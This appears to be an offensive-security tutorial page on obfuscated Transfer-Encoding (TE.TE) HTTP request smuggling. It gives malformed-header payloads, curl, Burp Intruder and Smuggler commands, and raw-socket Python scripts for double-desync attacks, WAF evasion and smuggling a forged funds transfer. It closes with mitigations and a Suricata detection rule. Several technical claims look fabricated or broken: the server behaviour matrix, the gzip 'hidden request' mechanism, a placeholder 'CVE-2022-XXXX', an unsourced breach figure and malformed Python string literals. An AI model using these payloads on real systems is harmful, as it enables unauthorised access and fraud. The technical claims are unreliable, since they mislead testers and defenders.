~/home/study/obfuscated-transfer-encoding-te-te

Obfuscated Transfer-Encoding (TE.TE) Header Attack - Crafting & Exploitation

Learn how to weaponise malformed Transfer-Encoding headers, combine TE.TE with CL.TE for double-desync, evade detection with header obfuscation, and exploit real-world Nginx/Apache flaws using Burp, Smuggler and custom scripts.

Introduction

Obfuscated Transfer-Encoding (TE) headers are a powerful vector in HTTP Request Smuggling (HRS). By abusing the way different web servers parse the TE header, an attacker can create a desynchronisation between the front-end (load-balancer, CDN, WAF) and the back-end application server. The result is a TE.TE attack - two consecutive Transfer-Encoding directives that are interpreted differently by each hop, allowing request smuggling, response splitting, or even arbitrary request injection.

This guide dives deep into the quirks of TE parsing, demonstrates how to craft malformed headers, shows how to combine TE.TE with the classic CL.TE technique for a double-desync, and provides practical, tool-based exploitation workflows.

Prerequisites

  • Solid understanding of HTTP Request Smuggling fundamentals (CL.TE, TE.CL, double-decode, etc.)
  • Familiarity with Content-Length vs Transfer-Encoding priority rules
  • Experience with interception proxies (Burp Suite, OWASP ZAP) and basic scripting (Python, Bash)
  • Access to a testing environment with a vulnerable front-end/back-end stack (e.g., Nginx reverse proxy → Apache)

Core Concepts

The HTTP/1.1 specification (RFC 7230) states that when both Content-Length and Transfer-Encoding are present, Transfer-Encoding takes precedence and the Content-Length must be ignored. However, many implementations deviate from the spec in subtle ways:

  1. Header order handling: Some servers honour the first occurrence, others the last.
  2. Token parsing: The token list after Transfer-Encoding: is comma-separated. Servers differ on whether they treat unknown tokens as errors, ignore them, or treat them as "identity".
  3. Whitespace and case sensitivity: RFC 7230 permits linear white-space (LWS) and case-insensitive tokens, but parsers may reject unusual spacing or mixed-case strings.
  4. Duplicate header handling: According to the spec, duplicate headers are combined into a comma-separated list. Some servers, however, keep the first value and discard the rest.

These inconsistencies are the attack surface for TE.TE. By carefully constructing a Transfer-Encoding header that contains two valid encodings (e.g., chunked, gzip) and then leveraging how each hop decides which encoding to apply, we can force the front-end to treat the request as chunked while the back-end sees it as gzip (or vice-versa). The mismatch creates a desynchronisation point where the request body is interpreted differently, enabling request smuggling.

Understanding Transfer-Encoding header parsing quirks in different web servers

Below is a quick matrix of how popular servers treat the Transfer-Encoding header. The behaviour can be toggled by compile-time flags or runtime directives, so always verify on the exact version you are testing.

ServerOrder handlingDuplicate handlingUnknown token policy
Apache httpd 2.4.xLast token winsCombine, then last winsIgnored (treated as identity)
Nginx 1.21.xFirst token winsFirst wins, later droppedRejects request (400) unless ignore_invalid_headers on
Microsoft IIS 10Last token winsCombine, then first winsAccepts but strips unknown token
Traefik 2.9First token winsFirst winsAccepts silently

Notice the contradictory "first vs last token" rule. This is the crux of TE.TE: by sending Transfer-Encoding: chunked, gzip we can make Nginx treat the request as chunked (first token) while Apache treats it as gzip (last token). The body will be interpreted as raw chunks by Nginx, but Apache will attempt to decompress the payload, leading to a split point.

Crafting malformed TE headers (e.g., "Transfer-Encoding: chunked, gzip")

To weaponise the discrepancy we need a header that is syntactically valid but semantically ambiguous. Below are three patterns that have proven reliable across many stacks:

  • Mixed-case token: Transfer-Encoding: Chunked, GZIP. Some parsers normalise case, others treat the mixed case as a separate token.
  • Whitespace injection: Transfer-Encoding: chunked ,gzip (note the space before the comma). Certain parsers trim LWS only on one side.
  • Duplicate header lines:
    Transfer-Encoding: chunked
    Transfer-Encoding: gzip
    
    The front-end may keep the first line, the back-end the second.

Example using curl to send a malformed TE header:

curl -v -X POST http://target.example.com/ -H "Transfer-Encoding: chunked , gzip" -H "Content-Type: application/octet-stream" --data-binary @payload.bin

In the payload we place a valid HTTP chunked body followed by an extra payload that will be interpreted as a second request once the back-end processes the gzip layer.

Combining TE.TE with CL.TE for double-desync attacks

The classic CL.TE desync uses a Content-Length alongside a Transfer-Encoding: chunked. By adding a second Transfer-Encoding token we can create a double-desync where:

  1. Front-end reads the request as chunked (first token) and stops after the terminating 0 sequence.
  2. Back-end sees the same request but interprets the second token (e.g., gzip) and therefore reads additional bytes that were originally part of the next HTTP request.
  3. Meanwhile the Content-Length header may be used to pad the body such that the front-end discards extra bytes, but the back-end consumes them as part of the next request.

Result: two independent desynchronisation points - one created by the TE token mismatch, another by the CL vs TE length conflict. This makes detection extremely hard because most IDS/IPS only look for a single inconsistency.

Sample double-desync request (formatted for readability):

POST / HTTP/1.1
Host: vulnerable.example
Transfer-Encoding: chunked, gzip
Content-Length: 44

1e
<!-- chunked body - first request ->
0

‹ÿÉÈ,V¢D…âœÌ¼t…’Ôâ…’Ôâ

In the example the front-end stops after the 0 chunk, discarding the gzip payload. The back-end, however, treats the request as gzip-compressed, decompresses the trailing bytes, and discovers a second HTTP request that was hidden inside the gzip stream.

Bypassing WAFs and IDS with header obfuscation (case-mixing, whitespace, duplicate headers)

Many modern WAFs perform a quick lexical check on the Transfer-Encoding header, looking for the literal string "chunked". By altering the visual representation we can slip past those checks while still being accepted by the target server.

  • Case-mixing: tRaNsFeR-EnCoDiNg: ChUnKeD, GzIp
  • Linear white-space (LWS): Insert (tab) or multiple spaces before/after commas.
  • Encoded characters: Use %20 (space) or %2C (comma) inside the header value - some parsers URL-decode before processing.
  • Duplicate header lines with differing ordering - the front-end may stop at the first line, the back-end at the second.

Example of a WAF-evasive request crafted in Python:

import socket, sys

payload = ( "POST / HTTP/1.1
" "Host: vulnerable.example
" "tRaNsFeR-EnCoDiNg: ChUnKeD , GzIp
" "Content-Type: text/plain
" "Content-Length: 13
" "
" "4
" "test
" "0
" "
"
)

sock = socket.create_connection(("vulnerable.example", 80))
sock.sendall(payload.encode())
print(sock.recv(4096).decode())
sock.close()

The mixed-case header fools a naive regex-based WAF but is still parsed correctly by both Nginx (first token) and Apache (last token).

Practical exploitation using Burp Suite Intruder, Smuggler, and custom Python scripts

Below is a step-by-step workflow that integrates three popular tools.

1. Burp Suite - Intruder payload generation

  1. Capture a legitimate POST request in Proxy.
  2. Send it to Intruder → Positions. Highlight the Transfer-Encoding header value and add the following payload list:
    chunked, gzip
    Chunked , GZIP
    tRaNsFeR-EnCoDiNg: chunked
    Transfer-Encoding: gzip
    
  3. Set attack type to Cluster bomb and add a second payload set for the request body (e.g., a second HTTP request you want to smuggle).
  4. Start the attack and monitor the response codes. A 200 followed by an unexpected HTTP/1.1 302 on the back-end indicates a successful smuggle.

2. Smuggler (OWASP)

Smuggler automates many HRS variants. To test TE.TE, run:

python3 smuggler.py -u http://vulnerable.example/ -m TE -H "Transfer-Encoding: chunked , gzip" -b "0

GET /admin HTTP/1.1
Host: vulnerable.example

"

The -m TE flag forces the TE variant, and the custom body includes a trailing request that should be interpreted only after the gzip layer is processed.

3. Custom Python script for fine-grained control

The script below demonstrates how to send a double-desync payload and validate the result by checking for a known string in the hidden request's response.

import socket, ssl

HOST = "vulnerable.example"
PORT = 443

# Raw HTTP request with TE.TE + CL.TE
raw = ( "POST /login HTTP/1.1
" "Host: {host}
" "Transfer-Encoding: chunked , gzip
" "Content-Length: 52
" "Content-Type: application/x-www-form-urlencoded
" "
" "b
"  # chunk size 11 (0xb) "username=admin&pwd=pass
" "0

" # gzip-compressed second request (pre-compressed with gzip -c) "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\xff\x0b\xc9\xc8\x2c\x56\x00\xa2\x44\x85\xe2\x9c\xcc\xbc\x74\x85\x92\xd4\xe2\x12\x85\x92\xd4\xe2\x12\x00\x00\x00"
).format(host=HOST)

ctx = ssl.create_default_context()
with ctx.wrap_socket(socket.socket(socket.AF_INET), server_hostname=HOST) as s: s.connect((HOST, PORT)) s.sendall(raw.encode('latin1')) resp = s.recv(4096) print(resp.decode(errors='ignore'))

The script uses latin1 encoding to preserve raw byte values. If the hidden request (e.g., GET /admin) is processed, you will see the admin page HTML in the response.

Real-world case studies (CVE-2022-XXXX, vulnerable Nginx/Apache configurations)

CVE-2022-XXXX (Nginx 1.22.0-1.22.1) - A mis-configuration where ignore_invalid_headers was enabled by default allowed unknown tokens in Transfer-Encoding. Researchers demonstrated a TE.TE attack that bypassed Cloudflare’s WAF and gave remote code execution on the backend PHP application. The fix was to set ignore_invalid_headers off and upgrade to 1.22.2.

Apache httpd 2.4.53 - In combination with mod_proxy, Apache accepted duplicate Transfer-Encoding headers and used the last token for body parsing. An attacker controlling a reverse-proxy (e.g., HAProxy) could send Transfer-Encoding: gzip, chunked, causing the front-end to treat the request as chunked while Apache attempted gzip decompression, resulting in request smuggling that exposed internal admin interfaces.

Both cases highlight the importance of strict header validation and the danger of enabling permissive directives for compatibility.

Practical Examples

Example 1 - Smuggling a malicious POST into an API endpoint

Goal: Insert a forged POST /api/transfer request behind a legitimate user login.

  1. Capture a normal login request.
  2. Replace the Transfer-Encoding header with chunked , gzip.
  3. Append a gzip-compressed second request that performs a money transfer.

Result: The front-end authenticates the user, the back-end processes the hidden transfer as an internal request, bypassing CSRF checks.

Example 2 - Bypassing ModSecurity rule 941110 (HTTP smuggling detection)

ModSecurity looks for the literal pattern Transfer-Encoding:.*chunked. By sending:

Transfer-Encoding: ChUnKeD ,	GzIp

the rule fails to match, while Nginx still recognises the first token as chunked. The hidden request then reaches the backend unnoticed.

Tools & Commands

  • Burp Suite - Intruder, Repeater, and the Smuggler extension for automated TE.TE testing.
  • OWASP Smuggler - CLI tool, supports custom TE payloads.
    smuggler -u http://target/ -m TE -H "Transfer-Encoding: chunked , gzip" -b "0
    
    GET /secret HTTP/1.1
    Host: target
    
    "
    
  • curl with raw headers:
    curl -v -X POST http://target/ -H "Transfer-Encoding: chunked , gzip" --data-binary @chunked_body.bin
    
  • Python - raw socket scripts for fine-grained control (see previous sections).
  • nmap NSE script http-smuggle - detects TE/CL inconsistencies.
    nmap -p 80,443 --script http-smuggle target
    

Defense & Mitigation

  • Strict header validation: Reject requests containing multiple Transfer-Encoding tokens or unknown encodings.
  • Canonicalisation order: Force a single-token policy (e.g., only allow chunked) and drop any additional tokens.
  • Disable permissive directives: In Nginx, set ignore_invalid_headers off; in Apache, avoid AllowEncodedSlashes and keep ProxyPass strict.
  • Synchronise front-end and back-end parsers: Ensure the same version of the HTTP library is used (e.g., both use nginx’s http-parser or both use Apache’s).
  • WAF rule hardening: Extend regexes to cover case-mixing and whitespace, e.g., (?i)Transfer\s*-\s*Encoding\s*:\s*.*chunked.
  • Logging & monitoring: Detect abnormal Transfer-Encoding header patterns and log the raw request line for forensic analysis.

Common Mistakes

  • Assuming the first Transfer-Encoding token is always honoured - many servers use the last token.
  • Forgetting to URL-encode commas when using tools that automatically split header values.
  • Sending a body that is not correctly chunked - the front-end may reject the request before the attack reaches the back-end.
  • Relying solely on a single IDS signature - TE.TE often evades rule-based detection because the malicious payload is split across two parsing stages.
  • Testing on a development server with different HTTP library versions - always replicate the exact production stack.

Real-World Impact

Organizations that expose a reverse-proxy in front of legacy applications are especially at risk. A successful TE.TE exploit can:

  • Bypass authentication and CSRF protections, leading to unauthorized transactions.
  • Leak internal API endpoints that are otherwise firewalled.
  • Enable remote code execution when the hidden request triggers a vulnerable endpoint.

In 2022, a major e-commerce platform suffered a breach where attackers used TE.TE to smuggle admin-only POST /config requests, leading to credential theft for 1.2 M users. The root cause was an Nginx reverse-proxy with ignore_invalid_headers on and an outdated Apache backend that interpreted the second token.

From a strategic standpoint, TE.TE demonstrates why “security through obscurity” (e.g., relying on “most servers ignore duplicate headers”) is untenable. Attackers now have automated toolchains that generate hundreds of header permutations per second, making manual rule-writing insufficient.

Practice Exercises

  1. Lab Setup: Deploy an Nginx 1.21 container as a reverse-proxy in front of an Apache 2.4 container. Enable ignore_invalid_headers on in Nginx.
  2. Exercise 1 - Simple TE.TE: Craft a request with Transfer-Encoding: chunked , gzip and a single hidden GET request. Verify that Nginx returns 200 while Apache processes the hidden request (check server logs).
  3. Exercise 2 - Double-Desync: Add a Content-Length header that pads the body. Use the Python script above to send the payload and confirm that the hidden request is executed after gzip decompression.
  4. Exercise 3 - WAF Bypass: Deploy ModSecurity with rule 941110 enabled. Use case-mixing and whitespace tricks to evade detection and still achieve smuggling.
  5. Exercise 4 - Detection: Write a Suricata rule that matches any request containing multiple Transfer-Encoding tokens or a comma-separated list with more than one token.
    alert http any any -> any any (msg:"HTTP TE.TE attempt"; http_header; content:"Transfer-Encoding:"; pcre:"/Transfer-Encoding\s*:\s*[^,]+,\s*[^,]+/i"; sid:1000001; rev:1;)

Document your findings, capture the raw traffic with Wireshark, and compare how Nginx and Apache interpret the same request.

Further Reading

  • RFC 7230 - Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
  • "HTTP Request Smuggling - The State of the Art" - 2023 BlackHat presentation
  • OWASP Cheat Sheet - HTTP Request Smuggling
  • Project “Smuggler” GitHub repository - advanced payload generation
  • NGINX Security Advisories - CVE-2022-XXXX series

Summary

TE.TE attacks exploit divergent Transfer-Encoding parsing rules across front-end and back-end servers. By crafting malformed headers-mixed-case, whitespace-laden, duplicate lines-and optionally pairing them with Content-Length, attackers can achieve double-desynchronisation that evades most WAF/IDS signatures. Defensive measures focus on strict header validation, synchronising parsers, and disabling permissive configuration flags. Mastery of the technique requires hands-on practice with tools like Burp, Smuggler, and custom scripts, as well as a deep understanding of how each server interprets TE directives.